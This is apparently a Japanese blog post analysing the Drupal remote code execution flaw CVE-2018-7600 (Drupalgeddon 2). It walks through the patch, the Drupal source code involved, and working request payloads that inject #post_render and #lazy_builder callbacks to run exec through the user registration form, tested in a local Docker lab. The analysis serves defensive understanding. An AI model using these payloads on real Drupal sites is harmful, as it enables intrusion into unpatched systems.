少し前に出たDrupalの脆弱性(CVE-2018-7600)ですが、攻撃コードも出たので調査し直しました。 まだ分かっていないところもあるのですが、一旦まとめておきます。 ツッコミ歓迎です。
概要
Drupal は 2018年3月28日 (現地時間) にセキュリティアドバイザリ情報(SA-CORE-2018-002) を公開しました。公開された情報によると Drupal には、リモートから任意のコードが実行可能となる脆弱性 (CVE-2018-7600) が存在し、この脆弱性を悪用することで、遠隔の第三者が、非公開データを窃取したり、システムデータを改変したりするなどの可能性があるとのことです。 (https://www.jpcert.or.jp/at/2018/at180012.html より引用)
影響があるバージョンは以下です。
任意コード実行なので危険度は高いです。exploitコードも公開されたため、もし利用している方は早急にアップデートしたほうが良いです。
修正内容
Drupalチームによるパッチは以下になります。
RequestSanitizerというクラスが作られ、preHandleという箇所で呼ばれています。 このpreHandleは名前からわかるように、リクエストに必ず適用される処理のようです(本当に必ずかはコード読んでないですが、デバッグした感じは毎回通ってました)。
そして重要な処理は以下になります。
if ($key !== '' && $key[0] === '#' && !in_array($key, $whitelist, TRUE)) { unset($input[$key]); $sanitized_keys[] = $key; }
key名が#から始まってたら、そのキー名は除くようになっています(ホワイトリストに登録されているものは許可されています)。
そして、この stripDangerousValues
はGET/POST/Cookieのそれぞれについて適用されるようになっています。
このパッチから、#で始まるパラメータが渡ってくるとまずいことになる、というのが想像できます。
DrupalにはForm APIというものがあり、簡単にフォームを作ることができるようです。
Form and render elements | Drupal 8.5.x | Drupal API
このForm APIはmetadataとして、内部で#を利用しておりPOST等でそれを上書きできると想定しない挙動を引き起こすことが出来るのかな?という予想ができます。
その予想を基に自分でもexploitを書くべく結構数時間ぐらい頑張ったのですが、全然書けず諦めました。buildFormとか周りでcall_user_funcしてるし怪しいな〜と思ってデバッガ使ったりして追っていたのですがたどり着けず。。
攻撃コード
以下で解説されていました。基本的に以下の説明はDrupal8に関するものになります。
Uncovering Drupalgeddon 2 - Check Point Research
先にまとめておくと、認証不要なユーザ登録ページに対して任意コード実行可能な攻撃コードとなっているため、特に前提条件なく影響を受けるのではないかと思います。ですが、payloadとしては特徴的になるのでアップデートできない環境でも対策の方法は色々ありそうです。
以下で詳細についてまとめますが、かなり詳細なので興味ある人以外は読まなくて良いと思います。
Render arrays
攻撃可能なのはRender arraysと呼ばれるarrayのようです。このarray内の属性に応じてHTMLが動的に組み立てられる感じかと思います。
Render arrays | Drupal 8 guide on Drupal.org
このarrayはRender APIで利用されるようですが、上記の解説ブログにはRender APIについて書かれておらず、Form APIと書かれているようなのでよく分からなくなりました。
このRender arraysはRender APIとForm APIで共通して使われるもののようですが、今回悪用されているパラメータはRender APIで利用されるものですし、実際に攻撃が刺さるのも core/lib/Drupal/Core/Render/Renderer.php
とかなので、Render APIの脆弱性なんじゃないかと思っていますが、Drupal詳しくないのでよく分かってないです。
Render arrays内の属性は上記のドキュメントにあるように、 #type
のように#から始まります。
脆弱性の概要としては、この#から始まるパラメータを送信することで、このRender arrays内の属性を不正に書き換えることによる脆弱性、ということになります。
概要だけ見れば知ってた、って感じですが実際に攻撃に繋げるのは予想より大分難しかったですね。
上記の解説によると、emailのフィールドはサニタイズされておらず、POSTによってmailのarrayに#から始まる値を注入できたとのことです。 https://research.checkpoint.com/wp-content/uploads/2018/04/Fig3.png
しかし、今度はそのarrayをレンダリングする必要があります。これが難しい。。
結論としては、DrupalのAjax APIで画像をアップロードする箇所に脆弱な箇所がありました。 ただ、多分ここだけじゃないと思っています。追記するかもしれません。
uploadAjaxCallback
を見ると、GETパラメータのelement_parents
を取り出し、それをrenderRoot
でレンダリングしていることが分かります。
なので、element_parents
に先程注入したarrayを呼ぶようなパラメータを渡してあげれば良さそうです。
public static function uploadAjaxCallback(&$form, FormStateInterface &$form_state, Request $request) { /** @var \Drupal\Core\Render\RendererInterface $renderer */ $renderer = \Drupal::service('renderer'); $form_parents = explode('/', $request->query->get('element_parents')); // Retrieve the element to be rendered. $form = NestedArray::getValue($form, $form_parents); // Add the special AJAX class if a new file was added. $current_file_count = $form_state->get('file_upload_delta_initial'); if (isset($form['#file_upload_delta']) && $current_file_count < $form['#file_upload_delta']) { $form[$current_file_count]['#attributes']['class'][] = 'ajax-new-content'; } // Otherwise just add the new content class on a placeholder. else { $form['#suffix'] .= '<span class="ajax-new-content"></span>'; } $status_messages = ['#type' => 'status_messages']; $form['#prefix'] .= $renderer->renderRoot($status_messages); $output = $renderer->renderRoot($form); $response = new AjaxResponse(); $response->setAttachments($form['#attached']); return $response->addCommand(new ReplaceCommand(NULL, $output)); }
drupal/ManagedFile.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub
以下でexploitコードが公開されているので、こちらを見ると element_parents=account/mail/%23value
のようにして渡してあげると良いようです。
これで無事に渡したarrayがレンダリングされます。 あとは任意コードを実行するだけです。 任意コード実行するために利用できそうなパラメータは4つある、とのことでした。
#access_callback
#pre_render
#lazy_builder
#post_render
post_render編
このうち、上記のexploitコードでは #post_render
を利用しています。
実際に攻撃が発動するのは以下になります。
if (isset($elements['#post_render'])) { foreach ($elements['#post_render'] as $callable) { if (is_string($callable) && strpos($callable, '::') === FALSE) { $callable = $this->controllerResolver->getControllerFromDefinition($callable); } $elements['#children'] = call_user_func($callable, $elements['#children'], $elements); } }
drupal/Renderer.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub
call_user_func
は危険ですね。こいつの第一引数に呼ぶ関数を渡せます。マニュアルは以下。
なので、$callable
に例えばexec
を渡してあげればOSコマンドが実行できそうです。
$elements['#post_render']
をforeach文で回していることから、ここにはarrayが入る必要があります。
そこで、'mail[#post_render][]': 'exec'
のような感じでarrayになるようにPOSTのパラメータを調整します。
そして肝となるのは第二引数です。ここに実行するコマンドを渡す必要があります。
Drupalのコードを見ると $elements['#children']
となっています。では#children
で入れれば良いのかというと、そんなに簡単ではありません。
直前のコードを見ると $elements['#children']
に代入等を何箇所かで行っているため、外からPOSTで渡してもcall_user_funcに到達する前に値が変わってしまいます。
では先程のexploitでどうやっているかというと、'mail[#markup]': 'echo ";-)" | tee hello.txt'
のようにしています。
実は、#markup
に入れておくと #children
に入ります。
if (!$theme_is_implemented && isset($elements['#markup'])) { $elements['#children'] = Markup::create($elements['#markup'] . $elements['#children']); }
drupal/Renderer.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub
#children
の中身を見てみます。
'#children' => Drupal\Core\Render\Markup::__set_state(array( 'string' => 'echo ";-)" | tee hello.txt', )),
上記のように、Markupクラスになっていることが分かります。
上でMarkup::create
しているので当然ではあるのですが、stringではないためexecに渡してもコマンドは実行されなさそうに見えます。
そこでMarkupクラスを覗くとMarkupTraitをuseしていることが分かります。
final class Markup implements MarkupInterface, \Countable {
use MarkupTrait;
}
drupal/Markup.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub
そしてMarkupTraitを覗くと、__toString()
が定義されていることが分かります。
public function __toString() { return $this->string; }
drupal/MarkupTrait.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub
この __toString()
のおかげで、call_user_funcに渡しても暗黙的にstringとして扱われて実行されます(多分)。
少なくとも __toString()
を実装したクラスであればexecの引数として渡しても実行されました(__toString()がないと実行されなかった)。
ということで、無事にexecに任意の文字列を渡すことが出来たため、任意コード実行可能になりました。 まとめると、
user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax
といった感じでGETのクエリストリングを指定して自分の注入するarrayをレンダリングさせつつ、{'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'}
のように #post_render
に実際に実行して欲しいコード(関数)を入れる感じです。#markup
にそのコマンドの引数を入れておきます。
おまけ:PHPバージョンでの差異
実は上記のexploitはPHP 7.2などでは動作しますが、PHP 7.0系では動作しません。 というのは、call_user_funcの挙動が異なるためです。 上に載せたDrupalのコードでは、第三引数に$elementsという余計なものが渡されています。
$elements['#children'] = call_user_func($callable, $elements['#children'], $elements);
これがあると、PHP 7.0系ではうまく実行されません。
以下のようなサンプルのファイルを適当にtest.phpとかで保存します。
このファイルではcall_user_funcの最後に $a
という余計なarrayを渡しています。
<?php $a = array("a"=>"b"); call_user_func("exec", "wget http://example.com", $a);
これをPHP 7.0系で実行すると、Warningが出るだけで実行されません。 しかし、PHP 7.2系ではwgetが実行されます。
$ php test.php Warning: Parameter 2 to exec() expected to be a reference, value given in /tmp/test.php on line 5
そのような違いから、DrupalのバージョンだけでなくPHPのバージョンによる差も生まれています。
lazy_builder編
ブログではlazy_builderを使っていましたので、そちらでの攻撃も試してみたいと思います。
まず、先程と同様、lazy_builderがcall_user_funcに渡される場所を探します。 すると、以下でcall_user_func_arrayに渡されていることがわかります。
if (isset($elements['#lazy_builder'])) { $callable = $elements['#lazy_builder'][0]; $args = $elements['#lazy_builder'][1]; if (is_string($callable) && strpos($callable, '::') === FALSE) { $callable = $this->controllerResolver->getControllerFromDefinition($callable); } $new_elements = call_user_func_array($callable, $args);
drupal/Renderer.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub
call_user_func_arrayは名前から分かる通り、call_user_funcの引数がarray版ですね。 コードを読むとわかりますが、0番目をcallableにして、1番目をargsにしています。 先程のpost_renderより簡単そうですね。
ということで、exploitを書き換えて試してみましょう。
'mail[#lazy_builder][0]': 'exec', 'mail[#lazy_builder][1]': 'whoami'
上のように#lazy_builder
に指定します。
[Fri Apr 13 17:21:53.742017 2018] [php7:notice] [pid 391] [client 172.17.0.1:38562] Uncaught PHP Exception DomainException: "A #lazy_builder callback's context may only contain scalar values or NULL." at /var/www/html/core/lib/Drupal/Core/Render/Renderer.php line 315
するとエラーで怒られます。確かにargsはarrayじゃないとダメでした。ということで修正します。
'mail[#lazy_builder][0]': 'exec', 'mail[#lazy_builder][1][]': 'whoami'
argsの方がarrayになるように修正しました。すると今度は違うエラーが出ます。
[Fri Apr 13 17:23:00.624109 2018] [php7:notice] [pid 392] [client 172.17.0.1:38564] Uncaught PHP Exception DomainException: "When a #lazy_builder callback is specified, no properties can exist; all properties must be generated by the #lazy_builder callback. You specified the following properties: #suffix, #prefix." at /var/www/html/core/lib/Drupal/Core/Render/Renderer.php line 333
許可されていないkey名が存在するぞと言われています。該当箇所を見ると以下のようになっています。
$supported_keys = [ '#lazy_builder', '#cache', '#create_placeholder', // The keys below are not actually supported, but these are added // automatically by the Renderer. Adding them as though they are // supported allows us to avoid throwing an exception 100% of the time. '#weight', '#printed' ]; $unsupported_keys = array_diff(array_keys($elements), $supported_keys); if (count($unsupported_keys)) { throw new \DomainException(sprintf('When a #lazy_builder callback is specified, no properties can exist; all properties must be generated by the #lazy_builder callback. You specified the following properties: %s.', implode(', ', $unsupported_keys))); } }
drupal/Renderer.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub
確かに#prefix
や #suffix
は許可されていません。
しかし、いつ勝手に付与されたのか不明なので調べてみると上で貼った uploadAjaxCallback
の中にありました。
しかもrenderRootの前に呼ばれており、この#prefix
がkeyとしてセットされないようにするのは難しそうです。
$form['#prefix'] .= $renderer->renderRoot($status_messages); $output = $renderer->renderRoot($form);
$elementsをdumpしてみると、たしかに#prefixや#suffixが入っています。
array ( '#lazy_builder' => array ( 0 => 'exec', 1 => array ( 0 => 'whoami', ), ), '#suffix' => '<span class="ajax-new-content"></span>', '#prefix' => '', '#cache' => array ( 'contexts' => array ( 0 => 'languages:language_interface', 1 => 'theme', 2 => 'user.permissions', ), ), )
自分はここで詰んだのですが、ネット上をパトロールしていたところどうやらrender関数は再帰的にchildrenも呼んでくれるようです。 以下のコードを見ると、確かに$childrenに対してforeachを回してdoRenderしています。
if ((!$theme_is_implemented || isset($elements['#render_children'])) && empty($elements['#children'])) { foreach ($children as $key) { $elements['#children'] .= $this->doRender($elements[$key]); } $elements['#children'] = Markup::create($elements['#children']); }
drupal/Renderer.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub
$childrenは以下で取得しています。
// Get the children of the element, sorted by weight. $children = Element::children($elements, TRUE);
drupal/Renderer.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub
なので、#lazy_builder
はさらにchildrenに入るようなリクエストにしてあげると良さそうです。
つまり以下のようになります。
'mail["a"][#lazy_builder][0]': 'exec', 'mail["a"][#lazy_builder][1][]': 'echo vuln > hello.txt'
そうすると以下のような綺麗な状態で$elementsに渡ってくるため、無事に #lazy_builder
で発動します。
array ( '#lazy_builder' => array ( 0 => 'exec', 1 => array ( 0 => 'echo hello > hello.txt', ), ), )
ということで無事に成功しました。 こちらはPoCが見つからなかったので自分で作成したものを置いておきました。
さらに、こちらだとcall_user_funcの挙動の差異の影響を受けないため、PHP 7.0系でも刺さります。
検証
自分のやった検証の方法も一応載せておきます。
$ docker run -d --name drupal -p 8080:80 drupal:8.5.0-apache
この状態で、http://localhost:8080 にアクセスしてDrupalの初期セットアップを行います。 それが済んだら先程の自分のexploitを実行するだけです。
$ python3 exploit.py
まとめ
Drupalの任意コード実行の脆弱性が公開されて自分でもPoCを書こうと頑張ったのですが無理でした。 PoCが公開されたと聞いて悔しい気持ちを抱えつつ内容を見たのですが、これはDrupalを深く知らない自分では気づくの無理だな...と思いました。 かなりいろんな制約をかいくぐって任意コード実行まで漕ぎ着けており、不覚にも美しさを感じました。
危険度がよりいっそう高まったので、Drupal利用者は早急にアップデートしましょう。